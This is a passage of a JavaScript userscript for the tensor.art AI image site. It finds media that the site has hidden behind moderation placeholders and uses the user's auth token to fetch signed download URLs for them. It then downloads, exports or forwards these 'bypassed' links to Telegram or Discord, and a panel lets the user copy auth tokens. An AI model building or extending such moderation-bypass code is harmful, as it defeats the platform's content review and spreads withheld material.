batchIds.forEach(id => _downloadUrlBatchQueue.delete(id));
const hasMore = _downloadUrlBatchQueue.size > 0;
try {
const urlMap = await fetchDownloadUrlBatch(batchIds, token);
for (const [imageId, entry] of entries) {
const url = urlMap.get(String(imageId)) || null;
if (url) {
setCachedDownloadUrl(imageId, url, entry.mimeTypeHint, entry.forceKind);
}
entry.resolve(url);
}
if (domInjectDebug) tensorInterceptLog('success', `[BatchFetch] ${urlMap.size}/${batchIds.length} URLs in one request`, {
batchSize: batchIds.length, resolved: urlMap.size, missed: batchIds.length - urlMap.size
});
} catch (err) {
tensorInterceptLog('error', '[BatchFetch] Batch request failed', { error: String(err?.message || err) });
for (const [, entry] of entries) entry.reject(err);
}
if (hasMore) {
await new Promise(r => setTimeout(r, DOWNLOAD_URL_BATCH_INTERVAL_MS));
}
}
} finally {
_downloadUrlBatchFlushing = false;
}
}
// ────────────────────────────────────────────────────────────────────────────
async function fetchDownloadUrlFromEndpoint(endpointUrl, id, token, preferredKind = '') {
const headers = {
'Authorization': `Bearer ${token}`,
'Content-Type': 'application/json',
...settings.headers
};
const payloadObj = { ids: [id] };
const payloadJson = JSON.stringify(payloadObj);
// Skip known-broken endpoint+payload combos
if (isBrokenRequest(endpointUrl, payloadJson)) {
throw new Error(`Request skipped: cached as broken (${endpointUrl})`);
}
const res = await fetch(endpointUrl, {
method: 'POST',
headers,
body: payloadJson
});
if (!res.ok) {
markBrokenRequest(endpointUrl, payloadJson, res.status);
const text = await res.text().catch(() => '');
throw new Error(`Request failed: ${res.status} ${res.statusText} ${text}`);
}
const data = await res.json();
const url = extractDownloadUrlFromApiResponse(data, preferredKind);
return url || null;
}
// Console test helper: testMultiIdApi(count)
// Grabs `count` random IDs from itemsData/itemMap/downloadUrlCache, sends them all in one
// request using the same auth + headers as fetchDownloadUrlFromEndpoint, and logs the result.
// Exposed on unsafeWindow so it's accessible from the browser console (isolated world).
const _pageWin = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
_pageWin.testMultiIdApi = async function testMultiIdApi(ids_count = 2) {
// Collect candidate IDs from all known sources
const candidateIds = new Set();
for (const item of itemsData) { if (item.id) candidateIds.add(String(item.id)); }
for (const [k] of itemMap) { candidateIds.add(String(k)); }
for (const [k] of downloadUrlCache) { candidateIds.add(String(k)); }
const allIds = [...candidateIds];
if (allIds.length === 0) {
console.warn('[testMultiIdApi] No cached IDs found. Browse some tensor pages first to populate the cache.');
return null;
}
// Pick random IDs
const shuffled = allIds.sort(() => Math.random() - 0.5);
const pickedIds = shuffled.slice(0, Math.min(ids_count, allIds.length));
// Auth
let token = await getToken();
if (!token) { console.error('[testMultiIdApi] No auth token found — please log in.'); return null; }
const endpointUrl = apiUrlImage;
const headers = {
'Authorization': `Bearer ${token}`,
'Content-Type': 'application/json',
...settings.headers
};
const payloadObj = { ids: pickedIds };
const payloadJson = JSON.stringify(payloadObj);
console.log(`[testMultiIdApi] Sending ${pickedIds.length} IDs to ${endpointUrl}`);
console.log('[testMultiIdApi] Payload:', payloadObj);
let res;
try {
res = await fetch(endpointUrl, { method: 'POST', headers, body: payloadJson });
} catch (err) {
console.error('[testMultiIdApi] Fetch error:', err);
return null;
}
const rawText = await res.text().catch(() => '');
let parsed = null;
try { parsed = JSON.parse(rawText); } catch { parsed = rawText; }
console.log(`[testMultiIdApi] Status: ${res.status} ${res.statusText}`);
console.log('[testMultiIdApi] Response:', parsed);
if (res.ok && parsed && parsed.data) {
const images = parsed.data?.images || parsed.data?.list || [];
console.log(`[testMultiIdApi] Got ${images.length} result(s) back — multi-ID ${ images.length > 1 ? 'WORKS ✅' : 'returned only 1 result'}`);
images.forEach((img, i) => console.log(` [${i}] id=${img.imageId || img.id} url=${img.url ? img.url.slice(0, 80) + '...' : 'N/A'}`));
}
return { status: res.status, ids: pickedIds, response: parsed };
};
async function resolveDownloadUrl(imageId, mimeTypeHint = '', options = {}) {
if (!imageId) return null;
const expectedMime = getExpectedMimeTypeForId(imageId, mimeTypeHint);
const expectedKind = options.forceKind || getMediaKindFromMime(expectedMime);
const minExpiryMs = Math.max(SIGNED_URL_EXPIRY_SAFETY_MS, Number(options?.minExpiryMs) || 0);
// First: prefer any already known non-blocked URL in metadata
const meta = itemMap.get(imageId) || {};
const known = meta.url;
if (isUsableBypassMediaUrl(known, { minRemainingMs: minExpiryMs })) {
const expAt = getSignedUrlExpiryMs(known);
if (!expAt || Date.now() < (expAt - minExpiryMs)) {
return known;
}
}
// Token check: if the ID belongs to a specific account, only the batch matters
// (the batch flusher calls getToken() once for all queued IDs).
// We still do a quick synchronous check so we can fail fast if clearly no auth.
const knownToken = getTokenForImageId(imageId);
if (!knownToken) {
// Don't await here — let the batch handle token acquisition
}
// Diagnostics
lastAuthTokenUsed = null; // will be set when the batch fires
lastAuthTokenUsedAt = Date.now();
lastAuthTokenUsedContext = `downloadUrl:${imageId}`;
if (domInjectDebug) {
console.log('[Auth] Queuing batch download URL resolve', { imageId, expectedKind });
}
// Add to batch queue — the batch flush will collect all pending IDs
// and send them in groups of 30 (DOWNLOAD_URL_BATCH_SIZE), reducing
// network requests vs. one-request-per-id.
const key = String(imageId);
if (_downloadUrlBatchQueue.has(key)) {
// Already queued from another concurrent call — chain onto it
const existing = _downloadUrlBatchQueue.get(key);
return new Promise((resolve, reject) => {
const origResolve = existing.resolve;
const origReject = existing.reject;
existing.resolve = (url) => { origResolve(url); resolve(url); };
existing.reject = (err) => { origReject(err); reject(err); };
});
}
return new Promise((resolve, reject) => {
_downloadUrlBatchQueue.set(key, { resolve, reject, mimeTypeHint, forceKind: expectedKind });
scheduleDownloadUrlBatchFlush();
});
}
async function downloadImage(id, openTab = true) {
// Back-compat: image-focused resolver
const url = await resolveDownloadUrl(id, 'image/*', { forceKind: 'image' });
if (!url) throw new Error('Failed to resolve image download URL');
if (openTab) {
window.open(url, '_blank');
}
return url;
}
function escapeHtml(value) {
return String(value ?? '')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
function sanitizeFilename(name) {
const normalized = String(name || 'media').trim().replace(/[\\/:*?"<>|]+/g, '_');
return normalized || 'media';
}
function extFromMime(mimeType) {
if (!mimeType) return '';
const normalized = String(mimeType).toLowerCase().split(';')[0].trim();
const map = {
'image/jpeg': 'jpg',
'image/jpg': 'jpg',
'image/png': 'png',
'image/webp': 'webp',
'image/gif': 'gif',
'image/avif': 'avif',
'video/mp4': 'mp4',
'video/webm': 'webm',
'video/quicktime': 'mov',
'video/x-matroska': 'mkv',
'audio/mpeg': 'mp3'
};
if (map[normalized]) return map[normalized];
if (normalized.includes('/')) {
return normalized.split('/')[1].replace('jpeg', 'jpg');
}
return '';
}
function extFromUrl(url) {
if (!url) return '';
const cleanUrl = String(url).split('?')[0].split('#')[0];
const match = cleanUrl.match(/\.([a-zA-Z0-9]{2,8})$/);
return match ? match[1].toLowerCase() : '';
}
function ensureFilenameExtension(filename, preferredExt) {
const safe = sanitizeFilename(filename || 'media');
const currentMatch = safe.match(/\.([a-zA-Z0-9]{2,8})$/);
const currentExt = currentMatch ? currentMatch[1].toLowerCase() : '';
if (!preferredExt) return safe;
if (currentExt === preferredExt.toLowerCase()) return safe;
const base = currentExt ? safe.slice(0, -(currentExt.length + 1)) : safe;
return `${base}.${preferredExt}`;
}
function getFilenameForItem(imageId, fallbackUrl = '', fallbackMimeType = '') {
const meta = itemMap.get(imageId) || {};
const preferredName = meta.downloadFileName || `tensor_${imageId}`;
const ext = extFromMime(meta.mimeType || fallbackMimeType) || extFromUrl(meta.url || fallbackUrl) || 'bin';
return ensureFilenameExtension(preferredName, ext);
}
function withTimeout(promise, ms = 12000) {
return Promise.race([
promise,
new Promise(resolve => setTimeout(() => resolve(null), ms))
]);
}
async function downloadMediaFromUrl(url, filename, imageId = null, mimeTypeHint = '', attempt = 0) {
const res = await fetch(url);
if (!res.ok) {
// Signed URLs expire; retry once by refreshing the bypassed link.
if (res.status === 403 && imageId && attempt < 2) {
try {
deleteCachedDownloadUrl(imageId);
const forceKind = getMediaKindFromMime(mimeTypeHint) || '';
const fresh = await ensureDownloadUrl(imageId, mimeTypeHint, { bypassCache: true, forceKind });
if (fresh && fresh !== url) {
return await downloadMediaFromUrl(fresh, filename, imageId, mimeTypeHint, attempt + 1);
}
} catch {
// fall through
}
}
throw new Error(`Download failed: ${res.status} ${res.statusText}`);
}
const blob = await res.blob();
// Safety: if we expect a video but received an image payload, try resolving again via video endpoint.
if (
settings.verifyMediaDownloads &&
attempt === 0 &&
imageId &&
getMediaKindFromMime(mimeTypeHint) === 'video' &&
String(blob.type || '').toLowerCase().startsWith('image/')
) {
try {
// Purge cached URL(s) for this id since they likely point to a thumbnail.
deleteCachedDownloadUrl(imageId);
if (settings.developerModeEnabled) {
addDeveloperLog({
level: 'warn',
tag: 'download',
source: 'downloadMediaFromUrl',
message: 'Expected video but got image payload; retrying resolver',
details: { imageId, mimeTypeHint, url, blobType: blob.type }
});
}
const nextUrl = await ensureDownloadUrl(imageId, mimeTypeHint, { forceKind: 'video', bypassCache: true });
if (nextUrl && nextUrl !== url) {
return await downloadMediaFromUrl(nextUrl, filename, imageId, mimeTypeHint, attempt + 1);
}
} catch {
// fall through to save what we got
}
}
const extHint = extFromMime(blob.type) || extFromMime(mimeTypeHint) || extFromUrl(url) || 'bin';
const finalName = ensureFilenameExtension(filename || 'media', extHint);
const objectUrl = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = objectUrl;
a.download = finalName;
document.body.appendChild(a);
a.click();
a.remove();
URL.revokeObjectURL(objectUrl);
if (imageId) {
updateMediaStatus(imageId, { downloaded: true });
const meta = getItemMetaFromId(imageId);
markTaskActionDone('download', imageId, 'done', meta);
}
}
function guessExtension(mimeType, url) {
return extFromMime(mimeType) || extFromUrl(url) || 'png';
}
async function downloadMediaById(imageId, mimeType) {
const url = await ensureDownloadUrl(imageId, mimeType);
if (!url) throw new Error('Failed to resolve download URL');
const filename = getFilenameForItem(imageId, url, mimeType);
await downloadMediaFromUrl(url, filename, imageId, mimeType);
}
async function getPreviewUrlForItem(item) {
if (!item?.id) return null;
if (item.url && !/forbidden\.jpg|reviewing\.png/i.test(item.url)) return item.url;
const meta = itemMap.get(item.id) || {};
if (meta.url && !/forbidden\.jpg|reviewing\.png/i.test(meta.url)) {
item.url = meta.url;
return meta.url;
}
const resolved = await withTimeout(ensureDownloadUrl(item.id, item.mimeType || meta.mimeType || ''), 10000);
if (resolved) {
item.url = resolved;
}
return resolved;
}
function linkifyTextContent(value) {
const raw = String(value ?? '');
const urlRegex = /https?:\/\/[^\s"'<>]+/gi;
let last = 0;
let out = '';
let match;
while ((match = urlRegex.exec(raw)) !== null) {
const index = match.index;
const url = match[0];
out += escapeHtml(raw.slice(last, index));
const safeUrl = escapeHtml(url);
out += `<a href="${safeUrl}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd;word-break:break-all;">${safeUrl}</a>`;
last = index + url.length;
}
out += escapeHtml(raw.slice(last));
return out;
}
function registerForcePreviewLoader(itemId, loader) {
if (!itemId || typeof loader !== 'function') return;
forcePreviewLoaders.set(itemId, loader);
}
async function forceLoadPreviewForItem(itemId) {
const loader = forcePreviewLoaders.get(itemId);
if (!loader) return false;
try {
await loader(true);
return true;
} catch {
return false;
}
}
function buildDetailValueBlock(value, allowLink = false) {
const text = String(value ?? '').trim();
const content = allowLink ? linkifyTextContent(text) : escapeHtml(text);
return `<div style="font-family:'Courier New', monospace;font-size:11px;background:rgba(15,23,42,0.45);padding:6px;border-radius:6px;word-break:break-all;overflow:hidden;">${content}</div>`;
}
function getDetailRows(item, taskData, sourceUrl = '') {
const rows = [];
if (!settings.showDetailedInfo) return rows;
const details = settings.detailedInfoFields || {};
if (details.taskId) {
rows.push(`<div><strong>Task ID:</strong> <code style="background:#1e293b;padding:4px 8px;border-radius:4px;display:inline-block;margin-top:2px;">${escapeHtml(item?.taskId || taskData?.taskId || taskData?.routeId || 'N/A')}</code></div>`);
}
// Add source field if available
const source = item?.source || taskData?.source || 'tensor.art';
const sourceIcon = source === 'tensorhub.art' ? '<i class="fas fa-link"></i>' : '<i class="fas fa-palette"></i>';
const sourceLink = source === 'tensorhub.art' ? 'https://tensorhub.art' : 'https://tensor.art';
rows.push(`<div style="margin-top: 8px;"><strong>Source:</strong> <a href="${sourceLink}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd;text-decoration:none;font-weight:600;${source === 'tensorhub.art' ? 'color:#a78bfa;' : ''}">${sourceIcon} ${escapeHtml(source)}</a></div>`);
if (details.dates) {
const createdTs = normalizeTimestamp(item?.createdAt || taskData?.createdAt);
const expireTs = normalizeTimestamp(item?.expiresAt || item?.expireAt || taskData?.expireAt);
rows.push(`<div style="margin-top: 8px;"><strong>Created:</strong> ${createdTs ? escapeHtml(new Date(createdTs).toLocaleString()) : 'N/A'}</div>`);
rows.push(`<div style="margin-top: 8px;"><strong>Expires:</strong> ${expireTs ? escapeHtml(new Date(expireTs).toLocaleString()) : 'N/A'}</div>`);
}
if (details.size && item?.width && item?.height) {
rows.push(`<div style="margin-top: 8px;"><strong>Size:</strong> ${escapeHtml(`${item.width} × ${item.height}px`)}</div>`);
}
if (details.mimeType && item?.mimeType) {
rows.push(`<div style="margin-top: 8px;"><strong>MIME:</strong> ${escapeHtml(item.mimeType)}</div>`);
}
if (details.workflow) {
const tpl = taskData?.workflowTemplateInfo || taskData?.workflowInfo || null;
const templateId = tpl?.workflowTemplateId || tpl?.workflowId || '';
const templateName = tpl?.name || '';
if (templateId || templateName) {
const templateUrl = templateId ? `https://tensor.art/template/${templateId}` : '';
rows.push(`<div style="margin-top: 8px;"><strong>Template:</strong> ${escapeHtml(templateName || 'Unknown')} ${templateId ? `<a href="${templateUrl}" target="_blank" rel="noopener noreferrer" style="margin-left:6px;color:#93c5fd;text-decoration:none;font-family:'Courier New', monospace;">${escapeHtml(templateId)}</a>` : ''}</div>`);
}
}
if (details.visualParameters && Array.isArray(taskData?.visualParameters) && taskData.visualParameters.length) {
const blocks = taskData.visualParameters.slice(0, 12).map((entry) => {
const name = escapeHtml(entry?.name || 'Param');
const value = buildDetailValueBlock(entry?.value || '', true);
return `<div style="margin-top:8px;"><strong>${name}:</strong>${value}</div>`;
}).join('');
rows.push(`<div style="margin-top:8px;"><strong>Visual Parameters:</strong>${blocks}</div>`);
}
if (details.parameters && taskData?.parameters) {
rows.push(`<div style="margin-top:8px;"><strong>Parameters:</strong>${buildDetailValueBlock(taskData.parameters, true)}</div>`);
}
if (details.sourceUrl && sourceUrl && settings.showBypassedLink) {
rows.push(`<div style="margin-top:8px;"><strong>Bypassed URL:</strong>${buildDetailValueBlock(sourceUrl, true)}</div>`);
}
return rows;
}
async function copyBypassedLinks(format = 'text') {
const sourceItems = selectedItems.size > 0 ? itemsData.filter(it => selectedItems.has(it.id)) : itemsData;
const list = [];
for (const item of sourceItems) {
const url = await getPreviewUrlForItem(item);
if (!url) continue;
list.push({
id: item.id,
taskId: item.taskId || null,
mimeType: item.mimeType || '',
type: item.type || getItemType(item.mimeType),
url
});
}
if (!list.length) {
alert('No bypassed URLs available yet.');
return;
}
let payload = '';
if (format === 'json') {
payload = JSON.stringify(list, null, 2);
} else if (format === 'xml') {
const nodes = list.map(entry => ` <item id="${escapeHtml(entry.id)}" taskId="${escapeHtml(entry.taskId || '')}" type="${escapeHtml(entry.type)}" mimeType="${escapeHtml(entry.mimeType)}"><url>${escapeHtml(entry.url)}</url></item>`).join('\n');
payload = `<bypassedMedia>\n${nodes}\n</bypassedMedia>`;
} else if (format === 'html') {
const cards = list.map(entry => `
<div style="border:1px solid #d1d5db;border-radius:10px;padding:12px;margin-bottom:10px;background:#fff;">
<div style="font-weight:700;color:#111827;margin-bottom:6px;">${escapeHtml(entry.type)} • ${escapeHtml(entry.id)}</div>
<div style="font-size:12px;color:#374151;margin-bottom:6px;">Task: ${escapeHtml(entry.taskId || 'N/A')} • MIME: ${escapeHtml(entry.mimeType || 'N/A')}</div>
<a href="${escapeHtml(entry.url)}" style="color:#4f46e5;word-break:break-all;font-family:monospace;font-size:12px;">${escapeHtml(entry.url)}</a>
</div>
`).join('');
payload = `<!doctype html><html><head><meta charset="utf-8" /><title>Bypassed Media Links</title></head><body style="font-family:Arial,sans-serif;background:#f3f4f6;padding:16px;"><h1 style="margin:0 0 12px 0;color:#111827;">Bypassed Media Links</h1>${cards}</body></html>`;
} else {
payload = list.map(entry => entry.url).join('\n');
}
if (navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(payload);
} else {
const ta = document.createElement('textarea');
ta.value = payload;
document.body.appendChild(ta);
ta.select();
document.execCommand('copy');
ta.remove();
}
alert(`Copied ${list.length} bypassed links as ${format.toUpperCase()}.`);
}
window.downloadImage = downloadImage;
function isBlockedPlaceholderUrl(url) {
if (!url) return false;
const u = String(url);
return /\/system\/(reviewing\.png|forbidden\.jpg)/i.test(u) || /reviewing\.png|forbidden\.jpg/i.test(u);
}
function isForbidden(obj) {
if (!obj) return false;
const imageId = obj.imageId || obj.id;
const mimeType = String(obj.mimeType || '');
const url = obj.url || obj.processImageUrl || '';
const isMedia = mimeType.startsWith('image/') || mimeType.startsWith('video/') || mimeType.startsWith('audio/');
return !!imageId && isMedia && (obj.invalid === true || isBlockedPlaceholderUrl(url));
}
function getItemType(mimeType) {
if (mimeType?.startsWith('video/')) return 'Video';
if (mimeType?.startsWith('image/')) return 'Image';
return 'Unknown';
}
function buildBlockedTooltipContent(item, taskData = null) {
if (!item) return '';
const imageId = item.imageId || item.id || 'N/A';
const taskId = item.taskId || taskData?.taskId || taskData?.routeId || 'N/A';
const createdTs = normalizeTimestamp(item.createdAt || taskData?.createdAt);
const expireTs = normalizeTimestamp(item.expiresAt || item.expireAt || taskData?.expireAt);
const size = item.width && item.height ? `${item.width} × ${item.height}px` : '';
const type = item.mimeType ? getItemType(item.mimeType) : (item.type || 'Media');
const rows = [];
rows.push(`<strong>ID:</strong> ${imageId}`);
rows.push(`<strong>Type:</strong> ${type}`);
if (taskId && taskId !== 'N/A') rows.push(`<strong>Task:</strong> ${taskId}`);
if (createdTs) rows.push(`<strong>Created:</strong> ${new Date(createdTs).toLocaleString()}`);
if (expireTs) rows.push(`<strong>Expires:</strong> ${new Date(expireTs).toLocaleString()}`);
if (size) rows.push(`<strong>Size:</strong> ${size}`);
const flags = renderStatusIcons(imageId);
if (flags) rows.push(`<strong>Flags:</strong> ${flags}`);
rows.push('<strong>Status:</strong> Blocked');
return rows.join('<br />');
}
function getTooltipItemData(imageId, fallback = {}) {
if (!imageId) return null;
const listItem = itemsData.find(item => item.id === imageId) || {};
const meta = itemMap.get(imageId) || {};
const taskId = listItem.taskId || meta.taskId || meta.routeId || fallback.taskId || null;
const taskData = taskId ? resolveTaskData(taskId) : null;
return {
id: imageId,
imageId,
mimeType: listItem.mimeType || meta.mimeType || fallback.mimeType || 'image/*',
type: listItem.type || getItemType(listItem.mimeType || meta.mimeType || fallback.mimeType || ''),
taskId: taskId || taskData?.taskId || taskData?.routeId || null,
createdAt: listItem.createdAt || fallback.createdAt || taskData?.createdAt || null,
expiresAt: listItem.expiresAt || listItem.expireAt || fallback.expiresAt || taskData?.expireAt || taskData?.expiresAt || null,
width: listItem.width || meta.width || fallback.width || null,
height: listItem.height || meta.height || fallback.height || null
};
}
function refreshActiveBlockedTooltip(imageId) {
if (!activeBlockedTooltip || !activeBlockedTooltip.tooltip) return;
if (activeBlockedTooltip.imageId !== imageId) return;
const itemData = getTooltipItemData(imageId, activeBlockedTooltip.previewItem || {});
const taskData = itemData?.taskId ? resolveTaskData(itemData.taskId) : null;
if (!itemData) return;
const html = buildBlockedTooltipContent(itemData, taskData);
activeBlockedTooltip.tooltip.innerHTML = html;
if (settings.keepBlockedTooltipOpen) {
const closeBtn = document.createElement('button');
closeBtn.textContent = '×';
closeBtn.style.cssText = `
position: absolute;
top: 6px;
right: 6px;
width: 20px;
height: 20px;
border-radius: 50%;
border: none;
background: rgba(239, 68, 68, 0.2);
color: #ef4444;
cursor: pointer;
font-size: 14px;
line-height: 18px;
`;
closeBtn.onclick = (e) => {
e.stopPropagation();
activeBlockedTooltip.tooltip.style.opacity = '0';
activeBlockedTooltip = null;
};
activeBlockedTooltip.tooltip.appendChild(closeBtn);
}
if (activeBlockedTooltip.shouldPreview) {
const previewWrap = document.createElement('div');
previewWrap.className = 'bypass-tooltip-preview';
previewWrap.innerHTML = '<div class="bypass-tooltip-preview-placeholder">Loading preview…</div>';
activeBlockedTooltip.tooltip.appendChild(previewWrap);
activeBlockedTooltip.previewEl = previewWrap;
}
}
function hideActiveBlockedTooltip() {
if (activeBlockedTooltip?.tooltip) {
activeBlockedTooltip.tooltip.style.opacity = '0';
activeBlockedTooltip = null;
}
document.querySelectorAll('.bypass-blocked-tooltip.bypass-blocked-tooltip-floating').forEach(el => {
el.remove();
});
}
function hideActiveInjectedTooltip() {
if (activeInjectedTooltip?.tooltip) {
activeInjectedTooltip.tooltip.remove();
activeInjectedTooltip = null;
}
document.querySelectorAll('.bypass-injected-tooltip').forEach(el => el.remove());
}
function getItemsKey(sourceItems = itemsData) {
const list = Array.isArray(sourceItems) ? sourceItems : [];
return `${settings.viewMode}|${homeProfileFilter}|${homeItemsSearchQuery}|${list.map(item => item.id).join('|')}`;
}
function createTokenUsageBanner(viewItemCount = null) {
const colors = getThemeColors();
const expandedKey = 'freeBypassTokenUsageExpanded';
const expanded = localStorage.getItem(expandedKey) === 'true';
const activeTokens = getActiveTokens();
const summaries = activeTokens.map(getAccountSummaryForToken).filter(Boolean);
const details = document.createElement('details');
details.open = expanded;
details.className = 'bypass-token-usage-banner';
details.style.cssText = `
padding: 10px 12px;
border: 1px solid rgba(148,163,184,0.25);
border-radius: 12px;
background: rgba(15,23,42,0.35);
`;
details.ontoggle = () => {
try {
localStorage.setItem(expandedKey, details.open ? 'true' : 'false');
} catch {
// ignore
}
};
const summary = document.createElement('summary');
summary.style.cssText = `
cursor: pointer;
user-select: none;
display: flex;
align-items: center;
justify-content: space-between;
gap: 10px;
outline: none;
list-style: none;
`;
const lastPreview = lastAuthTokenUsed ? `<code style="background:rgba(30,41,59,0.9); padding:2px 6px; border-radius:6px;">${escapeHtml(tokenPreview(lastAuthTokenUsed))}</code>` : '<em>none</em>';
const itemCountText = typeof viewItemCount === 'number' ? `<span>items: <strong>${viewItemCount}</strong></span>` : '';
summary.innerHTML = `
<div style="display:flex; align-items:center; gap:8px; font-size: 12px; font-weight: 800; color: ${colors.text};">
<i class="fas fa-fingerprint" style="color:${colors.primary};"></i>
<span>Token usage</span>
</div>
<div style="display:flex; gap:10px; flex-wrap:wrap; justify-content:flex-end; font-size: 11px; color: ${colors.textSecondary};">
<span><strong>${summaries.length}</strong> active</span>
<span>last: ${lastPreview}</span>
${itemCountText}
</div>
`;
details.appendChild(summary);
const wrap = document.createElement('div');
wrap.style.cssText = `
margin-top: 10px;
display: flex;
gap: 10px;
align-items: center;
justify-content: space-between;
flex-wrap: wrap;
`;
const left = document.createElement('div');
left.style.cssText = 'display:flex; flex-direction:column; gap:4px; min-width: 220px;';
const activeLine = document.createElement('div');
activeLine.style.cssText = `font-size: 11px; color: ${colors.textSecondary}; line-height: 1.4; word-break: break-word;`;
const parts = summaries.map(s => {
const name = escapeHtml(s.nickname || 'Unknown');
const tok = escapeHtml(tokenPreview(s.token));
return `${name}${s.isCurrent ? ' <span style="color:#10b981; font-weight:700;">(current)</span>' : ''} <code style="background:rgba(30,41,59,0.9); padding:2px 6px; border-radius:6px;">${tok}</code>`;
});
activeLine.innerHTML = `<strong>Active tokens:</strong> ${summaries.length ? parts.join(' • ') : '<em>none</em>'}`;
const lastLine = document.createElement('div');
lastLine.style.cssText = `font-size: 11px; color: ${colors.textSecondary}; line-height: 1.4; word-break: break-word;`;
if (lastAuthTokenUsed) {
const agoSec = lastAuthTokenUsedAt ? Math.max(0, Math.round((Date.now() - lastAuthTokenUsedAt) / 1000)) : null;
lastLine.innerHTML = `<strong>Last API token used:</strong> <code style="background:rgba(30,41,59,0.9); padding:2px 6px; border-radius:6px;">${escapeHtml(tokenPreview(lastAuthTokenUsed))}</code>${lastAuthTokenUsedContext ? ` • ${escapeHtml(lastAuthTokenUsedContext)}` : ''}${typeof agoSec === 'number' ? ` • ${agoSec}s ago` : ''}`;
} else {
lastLine.innerHTML = `<strong>Last API token used:</strong> <em>none yet</em>`;
}
left.appendChild(activeLine);
left.appendChild(lastLine);
const actions = document.createElement('div');
actions.style.cssText = 'display:flex; gap:8px; align-items:center; flex-wrap: wrap;';
const mkBtn = (text, onClick, disabled = false) => {
const b = document.createElement('button');
b.className = 'bypass-btn bypass-btn-secondary';
b.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
b.textContent = text;
b.disabled = disabled;
b.onclick = onClick;
return b;
};
actions.appendChild(mkBtn('Copy active tokens', async () => {
const payload = activeTokens.join('\n');
if (navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(payload);
} else {
const ta = document.createElement('textarea');
ta.value = payload;
document.body.appendChild(ta);
ta.select();
document.execCommand('copy');
ta.remove();
}
showToast(`Copied ${activeTokens.length} token(s)`, 'success');
}, activeTokens.length === 0));
actions.appendChild(mkBtn('Copy last used token', async () => {
const payload = String(lastAuthTokenUsed || '');
if (!payload) return;
if (navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(payload);
} else {
const ta = document.createElement('textarea');
ta.value = payload;
document.body.appendChild(ta);
ta.select();
document.execCommand('copy');
ta.remove();
}
showToast('Copied last used token', 'success');
}, !lastAuthTokenUsed));
actions.appendChild(mkBtn('Log tokens to console', () => {
logActiveTokenUsage('Items tab');
if (lastAuthTokenUsed) {
console.log('[TokenUsage] lastAuthTokenUsed', tokenPreview(lastAuthTokenUsed), { at: lastAuthTokenUsedAt, ctx: lastAuthTokenUsedContext });
}
showToast('Logged token usage to console', 'success');
}));
wrap.appendChild(left);
wrap.appendChild(actions);
details.appendChild(wrap);
return details;
}
function refreshSelectionUI() {
const info = document.querySelector('[data-bypass-selection-info]');
if (info) {
const shown = Number(info.getAttribute('data-bypass-shown-count') || itemsData.length);
const total = Number(info.getAttribute('data-bypass-total-count') || itemsData.length);
info.textContent = `Selected: ${selectedItems.size} / ${shown} shown (${total} total)`;
}
document.querySelectorAll('[data-bypass-item-id]')?.forEach(el => {
const id = el.getAttribute('data-bypass-item-id');
if (!id) return;
if (selectedItems.has(id)) {
el.classList.add('selected');
} else {
el.classList.remove('selected');
}
});
document.querySelectorAll('[data-bypass-bulk-action]')?.forEach(btn => {
btn.disabled = selectedItems.size === 0;
});
}
function updateHomeProgressUI() {
if (currentTab !== 'home') return;
const wrap = document.querySelector('[data-bypass-home-progress]');
if (!wrap) return;
const stats = getTaskActionStats();
const activeCount = stats.queued + stats.inProgress;
const textEl = wrap.querySelector('[data-bypass-home-progress-text]');
const barEl = wrap.querySelector('[data-bypass-home-progress-bar]');
const previewHost = wrap.querySelector('[data-bypass-home-progress-preview]');
if (!activeCount) {
wrap.style.display = 'none';
if (textEl) textEl.textContent = 'Idle';
if (barEl) barEl.style.width = '0%';
if (previewHost) previewHost.style.display = 'none';
return;
}
wrap.style.display = 'block';
const completed = stats.done + stats.failed;
if (textEl) {
if (stats.current) {
textEl.textContent = `Processing ${stats.current.action.toUpperCase()} • ${stats.current.imageId} (${completed}/${stats.total})`;
} else {
textEl.textContent = `Queued ${stats.queued} • Done ${stats.done} • Failed ${stats.failed}`;
}
}
if (barEl) barEl.style.width = `${stats.total ? Math.round((completed / stats.total) * 100) : 0}%`;
if (previewHost) {
if (!settings.showDownloadPreview || !stats.current || !['download', 'telegram', 'discord'].includes(stats.current.action)) {
previewHost.style.display = 'none';
return;
}
previewHost.style.display = 'block';
previewHost.innerHTML = '';
const previewRow = document.createElement('div');
previewRow.className = 'bypass-download-preview';
const mediaWrap = document.createElement('div');
mediaWrap.className = 'bypass-download-preview-media';
mediaWrap.textContent = 'Loading...';
const info = document.createElement('div');
info.style.cssText = 'display:flex; flex-direction:column; gap:4px; font-size:11px; color:#94a3b8;';
const actionLabel = stats.current.action === 'telegram'
? 'Sending to Telegram'
: stats.current.action === 'discord'
? 'Sending to Discord'
: 'Downloading';
info.innerHTML = `<div><strong style="color:#cbd5e1;">${actionLabel}</strong></div><div>ID: ${stats.current.imageId}</div>`;
previewRow.appendChild(mediaWrap);
previewRow.appendChild(info);
previewHost.appendChild(previewRow);
const currentId = stats.current.imageId;
if (downloadPreviewCache.imageId === currentId && downloadPreviewCache.url) {
mediaWrap.innerHTML = '';
if (stats.current.mimeType?.startsWith('video/')) {
const vid = document.createElement('video');
vid.src = downloadPreviewCache.url;
vid.muted = true;
vid.autoplay = true;
vid.loop = true;
vid.playsInline = true;
mediaWrap.appendChild(vid);
} else {
const img = document.createElement('img');
img.src = downloadPreviewCache.url;
mediaWrap.appendChild(img);
}
} else {
downloadPreviewCache = { imageId: currentId, url: null, mimeType: stats.current.mimeType || '' };
ensureDownloadUrl(currentId, stats.current.mimeType || '').then(url => {
if (downloadPreviewCache.imageId !== currentId) return;
downloadPreviewCache.url = url;
mediaWrap.innerHTML = '';
if (!url) {
mediaWrap.textContent = 'Preview unavailable';
return;
}
if (stats.current.mimeType?.startsWith('video/')) {
const vid = document.createElement('video');
vid.src = url;
vid.muted = true;
vid.autoplay = true;
vid.loop = true;
vid.playsInline = true;
mediaWrap.appendChild(vid);
} else {
const img = document.createElement('img');
img.src = url;
mediaWrap.appendChild(img);
}
});
}
}
}
function updateTasksTabUI() {
if (currentTab !== 'tasks') return;
const tasksContent = document.querySelector('.bypass-content[data-bypass-tab="tasks"]');
